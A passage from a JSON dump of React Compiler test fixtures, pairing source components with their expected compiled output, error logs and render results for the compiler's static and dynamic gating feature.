    "content": "\n## Input\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"} @compilationMode:\"annotation\"\n\nfunction Foo() {\n  'use memo if(getTrue)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { getTrue } from \"shared-runtime\"; // @dynamicGating:{\"source\":\"shared-runtime\"} @compilationMode:\"annotation\"\nconst Foo = getTrue()\n  ? function Foo() {\n      \"use memo if(getTrue)\";\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = <div>hello world</div>;\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : function Foo() {\n      \"use memo if(getTrue)\";\n      return <div>hello world</div>;\n    };\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello world</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-annotation.js",
    "content": "// @dynamicGating:{\"source\":\"shared-runtime\"} @compilationMode:\"annotation\"\n\nfunction Foo() {\n  'use memo if(getTrue)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-bailout-nopanic.expect.md",
    "content": "\n## Input\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"} @validatePreserveExistingMemoizationGuarantees @panicThreshold:\"none\" @loggerTestOnly @validateExhaustiveMemoizationDependencies:false\n\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction Foo({value}) {\n  'use memo if(getTrue)';\n\n  const initialValue = useMemo(() => identity(value), []);\n  return (\n    <>\n      <div>initial value {initialValue}</div>\n      <div>current value {value}</div>\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{value: 1}],\n  sequentialRenders: [{value: 1}, {value: 2}],\n};\n\n```\n\n## Code\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"} @validatePreserveExistingMemoizationGuarantees @panicThreshold:\"none\" @loggerTestOnly @validateExhaustiveMemoizationDependencies:false\n\nimport { useMemo } from \"react\";\nimport { identity } from \"shared-runtime\";\n\nfunction Foo({ value }) {\n  \"use memo if(getTrue)\";\n\n  const initialValue = useMemo(() => identity(value), []);\n  return (\n    <>\n      <div>initial value {initialValue}</div>\n      <div>current value {value}</div>\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ value: 1 }],\n  sequentialRenders: [{ value: 1 }, { value: 2 }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"fnLoc\":{\"start\":{\"line\":6,\"column\":0,\"index\":255},\"end\":{\"line\":16,\"column\":1,\"index\":482},\"filename\":\"dynamic-gating-bailout-nopanic.ts\"},\"detail\":{\"options\":{\"category\":\"PreserveManualMemo\",\"reason\":\"Existing memoization could not be preserved\",\"description\":\"React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `value`, but the source dependencies were []. Inferred dependency not present in source\",\"suggestions\":null,\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":9,\"column\":31,\"index\":337},\"end\":{\"line\":9,\"column\":52,\"index\":358},\"filename\":\"dynamic-gating-bailout-nopanic.ts\"},\"message\":\"Could not preserve existing manual memoization\"}]}}}\n```\n      \n### Eval output\n(kind: ok) <div>initial value 1</div><div>current value 1</div>\n<div>initial value 1</div><div>current value 2</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-bailout-nopanic.js",
    "content": "// @dynamicGating:{\"source\":\"shared-runtime\"} @validatePreserveExistingMemoizationGuarantees @panicThreshold:\"none\" @loggerTestOnly @validateExhaustiveMemoizationDependencies:false\n\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction Foo({value}) {\n  'use memo if(getTrue)';\n\n  const initialValue = useMemo(() => identity(value), []);\n  return (\n    <>\n      <div>initial value {initialValue}</div>\n      <div>current value {value}</div>\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{value: 1}],\n  sequentialRenders: [{value: 1}, {value: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-disabled.expect.md",
    "content": "\n## Input\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"}\n\nfunction Foo() {\n  'use memo if(getFalse)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { getFalse } from \"shared-runtime\"; // @dynamicGating:{\"source\":\"shared-runtime\"}\nconst Foo = getFalse()\n  ? function Foo() {\n      \"use memo if(getFalse)\";\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = <div>hello world</div>;\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : function Foo() {\n      \"use memo if(getFalse)\";\n      return <div>hello world</div>;\n    };\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello world</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-disabled.js",
    "content": "// @dynamicGating:{\"source\":\"shared-runtime\"}\n\nfunction Foo() {\n  'use memo if(getFalse)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-enabled.expect.md",
    "content": "\n## Input\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"}\n\nfunction Foo() {\n  'use memo if(getTrue)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { getTrue } from \"shared-runtime\"; // @dynamicGating:{\"source\":\"shared-runtime\"}\nconst Foo = getTrue()\n  ? function Foo() {\n      \"use memo if(getTrue)\";\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = <div>hello world</div>;\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : function Foo() {\n      \"use memo if(getTrue)\";\n      return <div>hello world</div>;\n    };\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello world</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-enabled.js",
    "content": "// @dynamicGating:{\"source\":\"shared-runtime\"}\n\nfunction Foo() {\n  'use memo if(getTrue)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-identifier-nopanic.expect.md",
    "content": "\n## Input\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"} @panicThreshold:\"none\"\n\nfunction Foo() {\n  'use memo if(true)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"} @panicThreshold:\"none\"\n\nfunction Foo() {\n  \"use memo if(true)\";\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello world</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-identifier-nopanic.js",
    "content": "// @dynamicGating:{\"source\":\"shared-runtime\"} @panicThreshold:\"none\"\n\nfunction Foo() {\n  'use memo if(true)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-multiple.expect.md",
    "content": "\n## Input\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"} @panicThreshold:\"none\" @loggerTestOnly\n\nfunction Foo() {\n  'use memo if(getTrue)';\n  'use memo if(getFalse)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"} @panicThreshold:\"none\" @loggerTestOnly\n\nfunction Foo() {\n  \"use memo if(getTrue)\";\n  \"use memo if(getFalse)\";\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"fnLoc\":{\"start\":{\"line\":3,\"column\":0,\"index\":86},\"end\":{\"line\":7,\"column\":1,\"index\":190},\"filename\":\"dynamic-gating-invalid-multiple.ts\"},\"detail\":{\"options\":{\"category\":\"Gating\",\"reason\":\"Multiple dynamic gating directives found\",\"description\":\"Expected a single directive but found [use memo if(getTrue), use memo if(getFalse)]\",\"suggestions\":null,\"loc\":{\"start\":{\"line\":4,\"column\":2,\"index\":105},\"end\":{\"line\":4,\"column\":25,\"index\":128},\"filename\":\"dynamic-gating-invalid-multiple.ts\"}}}}\n```\n      \n### Eval output\n(kind: ok) <div>hello world</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-invalid-multiple.js",
    "content": "// @dynamicGating:{\"source\":\"shared-runtime\"} @panicThreshold:\"none\" @loggerTestOnly\n\nfunction Foo() {\n  'use memo if(getTrue)';\n  'use memo if(getFalse)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-noemit.expect.md",
    "content": "\n## Input\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"} @outputMode:\"lint\"\n\nfunction Foo() {\n  'use memo if(getTrue)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"} @outputMode:\"lint\"\n\nfunction Foo() {\n  \"use memo if(getTrue)\";\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello world</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-noemit.js",
    "content": "// @dynamicGating:{\"source\":\"shared-runtime\"} @outputMode:\"lint\"\n\nfunction Foo() {\n  'use memo if(getTrue)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/error.dynamic-gating-invalid-identifier.expect.md",
    "content": "\n## Input\n\n```javascript\n// @dynamicGating:{\"source\":\"shared-runtime\"}\n\nfunction Foo() {\n  'use memo if(true)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Dynamic gating directive is not a valid JavaScript identifier\n\nFound 'use memo if(true)'.\n\nerror.dynamic-gating-invalid-identifier.ts:4:2\n  2 |\n  3 | function Foo() {\n> 4 |   'use memo if(true)';\n    |   ^^^^^^^^^^^^^^^^^^^^ Dynamic gating directive is not a valid JavaScript identifier\n  5 |   return <div>hello world</div>;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/error.dynamic-gating-invalid-identifier.js",
    "content": "// @dynamicGating:{\"source\":\"shared-runtime\"}\n\nfunction Foo() {\n  'use memo if(true)';\n  return <div>hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-access-function-name-in-component.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\nfunction Component() {\n  const name = Component.name;\n  return <div>{name}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nconst Component = isForgetEnabled_Fixtures()\n  ? function Component() {\n      const $ = _c(1);\n      const name = Component.name;\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = <div>{name}</div>;\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : function Component() {\n      const name = Component.name;\n      return <div>{name}</div>;\n    };\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Component</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-access-function-name-in-component.js",
    "content": "// @gating\nfunction Component() {\n  const name = Component.name;\n  return <div>{name}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-nonreferenced-identifier-collision.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\nimport {identity, useHook as useRenamed} from 'shared-runtime';\nconst _ = {\n  useHook: () => {},\n};\nidentity(_.useHook);\n\nfunction useHook() {\n  useRenamed();\n  return <div>hello world!</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nimport { identity, useHook as useRenamed } from \"shared-runtime\";\nconst _ = {\n  useHook: isForgetEnabled_Fixtures() ? () => {} : () => {},\n};\nidentity(_.useHook);\nconst useHook = isForgetEnabled_Fixtures()\n  ? function useHook() {\n      const $ = _c(1);\n      useRenamed();\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = <div>hello world!</div>;\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : function useHook() {\n      useRenamed();\n      return <div>hello world!</div>;\n    };\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello world!</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-nonreferenced-identifier-collision.js",
    "content": "// @gating\nimport {identity, useHook as useRenamed} from 'shared-runtime';\nconst _ = {\n  useHook: () => {},\n};\nidentity(_.useHook);\n\nfunction useHook() {\n  useRenamed();\n  return <div>hello world!</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-preserves-function-properties.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\n\nexport default function Component() {\n  return <></>;\n}\n\nexport function Component2() {\n  return <></>;\n}\n\nComponent.displayName = 'Component ONE';\nComponent2.displayName = 'Component TWO';\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nconst Component = isForgetEnabled_Fixtures()\n  ? function Component() {\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = <></>;\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : function Component() {\n      return <></>;\n    };\nexport default Component;\n\nexport const Component2 = isForgetEnabled_Fixtures()\n  ? function Component2() {\n      const $ = _c(1);\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = <></>;\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      return t0;\n    }\n  : function Component2() {\n      return <></>;\n    };\n\nComponent.displayName = \"Component ONE\";\nComponent2.displayName = \"Component TWO\";\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-preserves-function-properties.tsx",
    "content": "// @gating\n\nexport default function Component() {\n  return <></>;\n}\n\nexport function Component2() {\n  return <></>;\n}\n\nComponent.displayName = 'Component ONE';\nComponent2.displayName = 'Component TWO';\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-default-function.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating @compilationMode:\"annotation\"\nexport default function Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  'use forget';\n  return <Foo>{props.bar}</Foo>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Bar'),\n  params: [{bar: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating @compilationMode:\"annotation\"\nconst Bar = isForgetEnabled_Fixtures()\n  ? function Bar(props) {\n      \"use forget\";\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== props.bar) {\n        t0 = <div>{props.bar}</div>;\n        $[0] = props.bar;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : function Bar(props) {\n      \"use forget\";\n      return <div>{props.bar}</div>;\n    };\nexport default Bar;\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\nconst Foo = isForgetEnabled_Fixtures()\n  ? function Foo(props) {\n      \"use forget\";\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== props.bar) {\n        t0 = <Foo>{props.bar}</Foo>;\n        $[0] = props.bar;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : function Foo(props) {\n      \"use forget\";\n      return <Foo>{props.bar}</Foo>;\n    };\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"Bar\"),\n  params: [{ bar: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>2</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-default-function.js",
    "content": "// @gating @compilationMode:\"annotation\"\nexport default function Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  'use forget';\n  return <Foo>{props.bar}</Foo>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Bar'),\n  params: [{bar: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function-and-default.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating @compilationMode:\"annotation\"\nexport default function Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  'use forget';\n  if (props.bar < 0) {\n    return props.children;\n  }\n  return (\n    <Foo bar={props.bar - 1}>\n      <NoForget />\n    </Foo>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Bar'),\n  params: [{bar: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating @compilationMode:\"annotation\"\nconst Bar = isForgetEnabled_Fixtures()\n  ? function Bar(props) {\n      \"use forget\";\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== props.bar) {\n        t0 = <div>{props.bar}</div>;\n        $[0] = props.bar;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : function Bar(props) {\n      \"use forget\";\n      return <div>{props.bar}</div>;\n    };\nexport default Bar;\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\nconst Foo = isForgetEnabled_Fixtures()\n  ? function Foo(props) {\n      \"use forget\";\n      const $ = _c(3);\n\n      if (props.bar < 0) {\n        return props.children;\n      }\n\n      const t0 = props.bar - 1;\n      let t1;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t1 = <NoForget />;\n        $[0] = t1;\n      } else {\n        t1 = $[0];\n      }\n      let t2;\n      if ($[1] !== t0) {\n        t2 = <Foo bar={t0}>{t1}</Foo>;\n        $[1] = t0;\n        $[2] = t2;\n      } else {\n        t2 = $[2];\n      }\n      return t2;\n    }\n  : function Foo(props) {\n      \"use forget\";\n      if (props.bar < 0) {\n        return props.children;\n      }\n      return (\n        <Foo bar={props.bar - 1}>\n          <NoForget />\n        </Foo>\n      );\n    };\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"Bar\"),\n  params: [{ bar: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>2</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function-and-default.js",
    "content": "// @gating @compilationMode:\"annotation\"\nexport default function Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  'use forget';\n  if (props.bar < 0) {\n    return props.children;\n  }\n  return (\n    <Foo bar={props.bar - 1}>\n      <NoForget />\n    </Foo>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Bar'),\n  params: [{bar: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating @compilationMode:\"annotation\"\nexport function Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nexport function NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nexport function Foo(props) {\n  'use forget';\n  return <Foo>{props.bar}</Foo>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Bar'),\n  params: [{bar: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating @compilationMode:\"annotation\"\nexport const Bar = isForgetEnabled_Fixtures()\n  ? function Bar(props) {\n      \"use forget\";\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== props.bar) {\n        t0 = <div>{props.bar}</div>;\n        $[0] = props.bar;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : function Bar(props) {\n      \"use forget\";\n      return <div>{props.bar}</div>;\n    };\n\nexport function NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nexport const Foo = isForgetEnabled_Fixtures()\n  ? function Foo(props) {\n      \"use forget\";\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== props.bar) {\n        t0 = <Foo>{props.bar}</Foo>;\n        $[0] = props.bar;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : function Foo(props) {\n      \"use forget\";\n      return <Foo>{props.bar}</Foo>;\n    };\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"Bar\"),\n  params: [{ bar: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>2</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test-export-function.js",
    "content": "// @gating @compilationMode:\"annotation\"\nexport function Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nexport function NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nexport function Foo(props) {\n  'use forget';\n  return <Foo>{props.bar}</Foo>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Bar'),\n  params: [{bar: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating @compilationMode:\"annotation\"\nfunction Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  'use forget';\n  return <Foo>{props.bar}</Foo>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Bar'),\n  params: [{bar: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating @compilationMode:\"annotation\"\nconst Bar = isForgetEnabled_Fixtures()\n  ? function Bar(props) {\n      \"use forget\";\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== props.bar) {\n        t0 = <div>{props.bar}</div>;\n        $[0] = props.bar;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : function Bar(props) {\n      \"use forget\";\n      return <div>{props.bar}</div>;\n    };\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\nconst Foo = isForgetEnabled_Fixtures()\n  ? function Foo(props) {\n      \"use forget\";\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== props.bar) {\n        t0 = <Foo>{props.bar}</Foo>;\n        $[0] = props.bar;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : function Foo(props) {\n      \"use forget\";\n      return <Foo>{props.bar}</Foo>;\n    };\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"Bar\"),\n  params: [{ bar: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>2</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-test.js",
    "content": "// @gating @compilationMode:\"annotation\"\nfunction Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  'use forget';\n  return <Foo>{props.bar}</Foo>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Bar'),\n  params: [{bar: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/gating-use-before-decl-ref.expect.md",
